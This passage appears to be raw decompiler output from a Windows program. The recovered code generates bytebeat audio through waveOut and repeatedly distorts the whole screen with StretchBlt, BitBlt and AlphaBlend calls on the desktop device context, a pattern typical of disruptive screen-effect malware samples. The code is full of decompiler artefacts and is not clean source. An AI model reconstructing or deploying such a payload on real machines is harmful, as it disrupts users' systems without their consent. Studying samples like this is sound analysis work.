edx66 = reinterpret_cast<int32_t>(ecx64) >> 8;
edx67 = reinterpret_cast<signed char>(*reinterpret_cast<unsigned char*>(&edx66) |
*reinterpret_cast<unsigned char*>(&ecx64)) * *reinterpret_cast<signed char*>(&ecx64);
*reinterpret_cast<signed char*>(ecx64 + reinterpret_cast<uint32_t>(edi65)) =
*reinterpret_cast<signed char*>(&edx67);
++ecx64;
esi63 = ebx56->fc;
} while (ecx64 < esi63 * 0x1f40);
}
esp68 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp62) - 4);
waveOutPrepareHeader(v59, reinterpret_cast<uint32_t>(esp68) + 20);
esp69 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp68) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp69) + 20);
esp70 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp69) - 4 - 4 - 4 + 4 - 4);
v71 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp70) + 20);
waveOutUnprepareHeader(32, v71);
waveOutClose(32, 32, v71);
v72 = ebx56->fc * 0x3e8;
Sleep(v72, 32, 32, v71);
eax73 = reinterpret_cast<struct s153*>(GetProcessHeap(0, edi65, v72, 32, 32, v71));
HeapFree();
ExitThread(0);
ebx74 = eax73;
esp75 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp70) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp76 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp75) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp76) + 32, 0xff,
reinterpret_cast<uint32_t>(esp75) + 60, 0, 0, 0, edi65, esi63, ebx56, 0);
v77 = ebx74->fc * 0x1f40;
eax78 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax79 = reinterpret_cast<void*>(HeapAlloc(eax78, 0));
esp80 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp76) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi81 = ebx74->fc;
ecx82 = 0;
edi83 = eax79;
if (esi81 * 0x1f40) {
do {
edx84 = reinterpret_cast<int32_t>(ecx82) >> 6;
eax85 = reinterpret_cast<int32_t>(ecx82) >> 8;
edx86 = reinterpret_cast<signed char>(reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(&edx84) & 63) | *reinterpret_cast<unsigned
char*>(&eax85)) * *reinterpret_cast<signed char*>(&ecx82);
*reinterpret_cast<signed char*>(ecx82 + reinterpret_cast<uint32_t>(edi83)) =
*reinterpret_cast<signed char*>(&edx86);
++ecx82;
esi81 = ebx74->fc;
} while (ecx82 < esi81 * 0x1f40);
}
esp87 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp80) - 4);
waveOutPrepareHeader(v77, reinterpret_cast<uint32_t>(esp87) + 20);
esp88 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp87) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp88) + 20);
esp89 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp88) - 4 - 4 - 4 + 4 - 4);
v90 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp89) + 20);
waveOutUnprepareHeader(32, v90);
waveOutClose(32, 32, v90);
v91 = ebx74->fc * 0x3e8;
Sleep(v91, 32, 32, v90);
eax92 = reinterpret_cast<struct s154*>(GetProcessHeap(0, edi83, v91, 32, 32, v90));
HeapFree();
ExitThread(0);
ebx93 = eax92;
esp94 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp89) - 4 - 4 - 4 + 4 - 4 - 4 + 4 -
4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 & 0xfffffff8) - 60 - 4 - 4 - 4 - 4 - 4 - 4);
esp95 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp94) - 4 - 4);
waveOutOpen(reinterpret_cast<uint32_t>(esp95) + 32, 0xff,
reinterpret_cast<uint32_t>(esp94) + 60, 0, 0, 0, edi83, esi81, ebx74, 0);
v96 = ebx93->fc * 0x1f40;
eax97 = reinterpret_cast<int32_t>(GetProcessHeap(0));
eax98 = reinterpret_cast<void*>(HeapAlloc(eax97, 0));
esp99 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp95) - 4 - 4 + 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
esi100 = ebx93->fc;
ecx101 = 0;
edi102 = eax98;
if (esi100 * 0x1f40) {
do {
edx103 = reinterpret_cast<int32_t>(ecx101) >> 8;
eax104 = reinterpret_cast<int32_t>(ecx101) >> 5;
edx105 = reinterpret_cast<signed char>(*reinterpret_cast<unsigned char*>(&edx103) &
*reinterpret_cast<unsigned char*>(&eax104)) * *reinterpret_cast<signed char*>(&ecx101);
*reinterpret_cast<signed char*>(ecx101 + reinterpret_cast<uint32_t>(edi102)) =
*reinterpret_cast<signed char*>(&edx105);
++ecx101;
esi100 = ebx93->fc;
} while (ecx101 < esi100 * 0x1f40);
}
esp106 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp99) - 4);
waveOutPrepareHeader(v96, reinterpret_cast<uint32_t>(esp106) + 20);
esp107 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp106) - 4 - 4 - 4 + 4 - 4);
waveOutWrite(32, reinterpret_cast<uint32_t>(esp107) + 20);
esp108 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp107) - 4 - 4 - 4 + 4 - 4);
v109 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp108) + 20);
waveOutUnprepareHeader(32, v109);
waveOutClose(32, 32, v109);
v110 = ebx93->fc * 0x3e8;
Sleep(v110, 32, 32, v109);
eax111 = reinterpret_cast<void**>(GetProcessHeap(0, edi102, v110, 32, 32, v109));
HeapFree();
ExitThread(0);
esp112 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp108) - 4 - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4);
ebp113 = esp112;
ebx114 = eax111;
esp115 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp112) & 0xfffffff8) - 60 -
4 - 4 - 4 - 4 - 4 - 4);
esp116 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp115) - 4 - 4);
v117 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp116) + 32);
waveOutOpen(v117, 0xff, reinterpret_cast<uint32_t>(esp115) + 60, 0, 0, 0, edi102, esi100,
ebx93, 0);
v118 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ebx114 + 12)) * 0x1f40);
eax119 = reinterpret_cast<void**>(GetProcessHeap(0));
v120 = eax119;
eax121 = reinterpret_cast<void**>(HeapAlloc(v120, 0));
esp122 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp116) - 4 - 4 + 4 - 4 - 4 - 4 + 4
- 4 - 4 + 4);
esi123 = *reinterpret_cast<void***>(ebx114 + 12);
ecx124 = reinterpret_cast<void**>(0);
edx125 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi123) * 0x1f40);
edi126 = eax121;
if (edx125) {
do {
edx127 = reinterpret_cast<signed char>(ecx124) >> 11;
eax128 = reinterpret_cast<signed char>(ecx124) >> 6;
edx125 = reinterpret_cast<void**>(reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned char*>(&edx127) |
*reinterpret_cast<unsigned char*>(&eax128)) | *reinterpret_cast<unsigned char*>(&ecx124)) *
reinterpret_cast<uint32_t>(static_cast<int32_t>(*reinterpret_cast<signed char*>(&ecx124))));
*reinterpret_cast<signed char*>(reinterpret_cast<unsigned char>(ecx124) +
reinterpret_cast<unsigned char>(edi126)) = *reinterpret_cast<signed char*>(&edx125);
++ecx124;
esi123 = *reinterpret_cast<void***>(ebx114 + 12);
} while (reinterpret_cast<unsigned char>(ecx124) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(esi123) * 0x1f40));
}
esp129 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp122) - 4);
v130 = edi126;
v131 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi123) * 0x1f40);
v132 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp129) + 20);
v133 = v118;
waveOutPrepareHeader(v133, v132);
esp134 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp129) - 4 - 4 - 4 + 4 - 4);
v135 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp134) + 20);
waveOutWrite(32, v135);
esp136 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp134) - 4 - 4 - 4 + 4 - 4);
v137 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp136) + 20);
waveOutUnprepareHeader(32, v137);
waveOutClose(32, 32, v137);
v138 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(ebx114 + 12)) * 0x3e8);
Sleep(v138, 32, 32, v137);
v139 = edi126;
eax140 = reinterpret_cast<void**>(GetProcessHeap(0, v139, v138, 32, 32, v137));
HeapFree();
ExitThread(0);
esp141 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp136) - 4 - 4 - 4 + 4 - 4 - 4 +
4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4);
v142 = ebp113;
ebp143 = esp141;
v144 = ebx114;
v145 = esi123;
v146 = edi126;
ebx147 = *reinterpret_cast<void***>(eax140 + 12);
eax164 = fun_401580(ecx124, v146, v145, v144, ecx124, v142, 0, eax140, 0, v139, v138, 32,
32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0,
v148, v149, v150, v151, v152, v153, v154, v155, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124,
v146, v145, v144, ecx124, v142, 0, eax140, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v156, v157, v158, v159, v160,
v161, v162, v163, 0x10001, 0x1f40, 0x1f40, 0x80001);
esi165 = eax164;
edi166 = edx125;
v167 = esi165;
v168 = edi166;
eax185 = fun_401580(ecx124, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32,
v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v169,
v170, v171, v172, v173, v174, v175, v176, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124, v146,
v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32,
v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v177, v178, v179, v180, v181, v182, v183,
v184, 0x10001, 0x1f40, 0x1f40, 0x80001);
esp186 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp141 - 4) - 4 - 4 - 4 - 4 + 4 - 4
+ 4);
edx187 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx125) -
(reinterpret_cast<unsigned char>(edi166) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx125) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi166) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax185) < reinterpret_cast<unsigned
char>(esi165))))));
less188 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx187) <
reinterpret_cast<signed char>(0));
if (!reinterpret_cast<uint1_t>(less188 | reinterpret_cast<uint1_t>(edx187 == 0)))
goto addr_4020a5_17;
if (less188) {
addr_402030_19:
eax189 = reinterpret_cast<void**>(GetDC(0));
edi166 = eax189;
eax206 = fun_402cd0(ecx124, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32,
32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0,
v190, v191, v192, v193, v194, v195, v196, v197, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124, 0,
v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v198, v199, v200, v201, v202,
v203, v204, v205, 0x10001, 0x1f40, 0x1f40, 0x80001);
edx207 = reinterpret_cast<void**>(eax206 % reinterpret_cast<unsigned char>(g417284));
esi165 = edx207;
eax224 = fun_402cd0(ecx124, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32,
32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0,
v208, v209, v210, v211, v212, v213, v214, v215, 0x10001, 0x1f40, 0x1f40, 0x80001, ecx124, 0,
v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v216, v217, v218, v219, v220,
v221, v222, v223, 0x10001, 0x1f40, 0x1f40, 0x80001);
edx225 = reinterpret_cast<void**>(eax224 % reinterpret_cast<unsigned char>(g417280));
v226 = edx225 + 0xfffffffe;
v227 = esi165 + 0xfffffffe;
StretchBlt(edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8, 0xcc0020,
0);
v228 = edi166;
v229 = reinterpret_cast<void**>(0);
ReleaseDC(0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8,
0xcc0020, 0);
Sleep(10, 0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8,
0xcc0020, 0);
eax230 = fun_401580(ecx124, 10, 0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165,
edx225, 0xc8, 0xc8, 0xcc0020, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32,
v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, ecx124, 10,
0, v228, edi166, v227, v226, 0xcc, 0xcc, edi166, esi165, edx225, 0xc8, 0xc8, 0xcc0020, 0,
v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0);
esp186 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp186) - 4 - 4 + 4 - 4 + 4 - 4
+ 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf231 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax230) <
reinterpret_cast<unsigned char>(v167));
cf232 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx225) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v168) + cf231));
edx187 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx225) -
(reinterpret_cast<unsigned char>(v168) + cf232));
if (reinterpret_cast<signed char>(edx187) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf232)))))
goto addr_402030_19;
if (reinterpret_cast<signed char>(edx225) > reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v168) + cf231))
goto addr_4020a5_17;
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax230) -
reinterpret_cast<unsigned char>(v167)) < reinterpret_cast<unsigned char>(ebx147))
goto addr_402030_19; else
goto addr_4020a5_17;
} else {
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax185) -
reinterpret_cast<unsigned char>(esi165)) >= reinterpret_cast<unsigned char>(ebx147)) {
addr_4020a5_17:
ExitThread(0);
esp233 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp186) - 4 - 4 + 4 - 4);
v234 = ebp143;
ebp235 = esp233;
v236 = ebx147;
v237 = esi165;
v238 = edi166;
ebx239 = *reinterpret_cast<void***>(v146 + 12);
v240 = ebx239;
eax249 = fun_401580(ecx124, v238, v237, v236, v240, 0xc8, 0xc8, v234, 0, v146, v145,
v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120,
0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v241, v242, v243, v244, ecx124, v238, v237, v236,
v240, 0xc8, 0xc8, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137,
32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v245, v246,
v247, v248);
esi250 = eax249;
edi251 = edx187;
v252 = esi250;
v253 = edi251;
eax262 = fun_401580(ecx124, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145,
v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120,
0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v254, v255, v256, v257, ecx124, v238, v237, v236,
v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137,
32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, 0, 0, 0, 0, 0, v258, v259,
v260, v261);
esp263 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp233 - 12) - 4 - 4 - 4 - 4
+ 4 - 4 + 4);
edx264 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx187) -
(reinterpret_cast<unsigned char>(edi251) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx187) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi251) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax262) < reinterpret_cast<unsigned
char>(esi250))))));
less265 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx264) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less265 | reinterpret_cast<uint1_t>(edx264 == 0)) &&
(less265 || reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax262) -
reinterpret_cast<unsigned char>(esi250)) < reinterpret_cast<unsigned char>(ebx239))) {
esi250 = reinterpret_cast<void**>(0x640000);
addr_4020f6_24:
eax266 = reinterpret_cast<void**>(GetDC(0));
ebx239 = eax266;
eax267 = reinterpret_cast<void**>(CreateCompatibleDC(ebx239, 0));
v227 = g417280;
v146 = eax267;
v268 = g417284;
v228 = ebx239;
eax269 = reinterpret_cast<void**>(CreateCompatibleBitmap(v228, v268, v227,
ebx239, 0));
edi251 = eax269;
v229 = edi251;
SelectObject(v146, v229, v228, v268, v227, ebx239, 0);
v270 = g417280;
v271 = g417284;
v272 = reinterpret_cast<void**>(0);
v273 = v146;
BitBlt(v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227,
ebx239, 0);
v274 = reinterpret_cast<void**>(0xcc0020);
eax275 = fun_402cd0(ecx124, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, ecx124, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229,
v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144,
v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120);
v276 = reinterpret_cast<void**>(eax275 % reinterpret_cast<unsigned char>(3));
eax277 = fun_402cd0(3, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, 3, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228,
v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168,
v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133, v132, 32);
v278 = reinterpret_cast<void**>(eax277 % reinterpret_cast<unsigned char>(3));
v279 = g417280;
v280 = g417284;
eax281 = fun_402cd0(3, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271,
v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236,
v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137,
32, 32, v135, 3, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135);
v282 = reinterpret_cast<void**>(eax281 % reinterpret_cast<unsigned char>(3));
eax283 = fun_402cd0(3, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0,
v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237,
v236, v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32,
v137, 32, 32, 3, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239,
0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0, v238, v237, v236, v240, v253, v252,
v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32);
edx284 = reinterpret_cast<void**>(eax283 % 3);
v285 = ebx239;
BitBlt(v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271,
v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
ecx124 = g417280;
eax286 = g417284;
v287 = reinterpret_cast<void**>(0x640000);
v288 = ecx124;
v289 = eax286;
v290 = reinterpret_cast<void**>(0);
AlphaBlend(ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289, v288, 0x640000, v285,
edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0,
0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v291 = ebx239;
ReleaseDC(0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289, v288, 0x640000,
v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271, v270, ebx239,
0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v292 = v146;
DeleteDC(v292, 0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289, v288,
0x640000, v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0, v271,
v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v293 = edi251;
DeleteObject(v293, v292, 0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289,
v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0,
v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v294 = reinterpret_cast<void**>(100);
Sleep(100, v293, v292, 0, v291, ebx239, 0, 0, eax286, ecx124, v146, 0, 0, v289,
v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276, 0xcc0020, v273, 0, 0,
v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227, ebx239, 0);
v295 = reinterpret_cast<void**>(0x4021eb);
eax296 = fun_401580(ecx124, 100, v293, v292, 0, v291, ebx239, 0, 0, eax286,
ecx124, v146, 0, 0, v289, v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276,
0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227,
ebx239, 0, v238, v237, v236, v240, ecx124, 100, v293, v292, 0, v291, ebx239, 0, 0, eax286,
ecx124, v146, 0, 0, v289, v288, 0x640000, v285, edx284, v282, v280, v279, v146, v278, v276,
0xcc0020, v273, 0, 0, v271, v270, ebx239, 0, 0, 0xcc0020, v146, v229, v228, v268, v227,
ebx239, 0, v238, v237, v236, v240);
esp263 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp263) - 4 - 4 + 4 - 4 -
4+4-4-4-4-4+4-4-4-4+4-4-4-4-4-4-4-4-4-4-4+4-4-4+4-4-4+4-4
-4-4-4-4+4-4-4+4-4-4-4+4-4-4-4-4-4-4-4-4-4-4-4-4+4-4-4-4+
4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf297 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax296) <
reinterpret_cast<unsigned char>(v252));
cf298 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx284) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v253) + cf297));
edx264 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx284) -
(reinterpret_cast<unsigned char>(v253) + cf298));
if (reinterpret_cast<signed char>(edx264) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf298)))))
goto addr_4020f6_24;
if (reinterpret_cast<signed char>(edx284) > reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v253) + cf297))
goto addr_402202_26;
if (reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax296) -
reinterpret_cast<unsigned char>(v252)) < reinterpret_cast<unsigned char>(v240))
goto addr_4020f6_24;
}
} else {
goto addr_402030_19;
}
}
addr_402202_26:
ExitThread(0);
esp299 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp263) - 4 - 4 + 4 - 4);
v300 = ebp235;
ebp301 = esp299;
v302 = ebx239;
v303 = esi250;
v304 = edi251;
ebx305 = *reinterpret_cast<void***>(v238 + 12);
v306 = ebx305;
eax307 = fun_401580(ecx124, v304, v303, v302, v229, v228, v306, v227, v300, 0, v238,
v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138,
32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, ecx124,
v304, v303, v302, v229, v228, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0);
esi308 = eax307;
edi309 = edx264;
v310 = esi308;
v311 = edi309;
eax312 = fun_401580(ecx124, v304, v303, v302, v310, v311, v306, v227, v300, 0, v238,
v237, v236, v240, v253, v252, v234, 0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138,
32, 32, v137, 32, 32, v135, 32, v133, v132, 32, v120, 0, v118, v117, v130, v131, 0, 0, ecx124,
v304, v303, v302, v310, v311, v306, v227, v300, 0, v238, v237, v236, v240, v253, v252, v234,
0, v146, v145, v144, v168, v142, 0, v167, 0, v139, v138, 32, 32, v137, 32, 32, v135, 32, v133,
v132, 32, v120, 0, v118, v117, v130, v131, 0, 0);
esp313 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp299) & 0xfffffff8) - 12 -
4 - 4 - 4 - 4 + 4 - 4 + 4);
edx314 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx264) -
(reinterpret_cast<unsigned char>(edi309) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx264) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi309) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax312) < reinterpret_cast<unsigned
char>(esi308))))));
less315 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx314) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less315 | reinterpret_cast<uint1_t>(edx314 == 0)) && (less315 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax312) -
reinterpret_cast<unsigned char>(esi308)) < reinterpret_cast<unsigned char>(ebx305))) {
ebx305 = BitBlt;
do {
esi308 = reinterpret_cast<void**>(0);
do {
eax316 = reinterpret_cast<void**>(GetDC(ecx124, 0));
ecx124 = esi308;
edi309 = eax316;
eax317 = fun_402cf0(ecx124, 0, v304, v303, v302, v310, v311, v306, v227, v300, 0,
ecx124, 0, v304, v303, v302, v310, v311, v306, v227, v300, 0);
eax318 = reinterpret_cast<void**>(CreateSolidBrush(ecx124, eax317, 0));
SelectObject(ecx124, edi309, eax318, eax317, 0);
v272 = reinterpret_cast<void**>(0x922222);
v273 = reinterpret_cast<void**>(0);
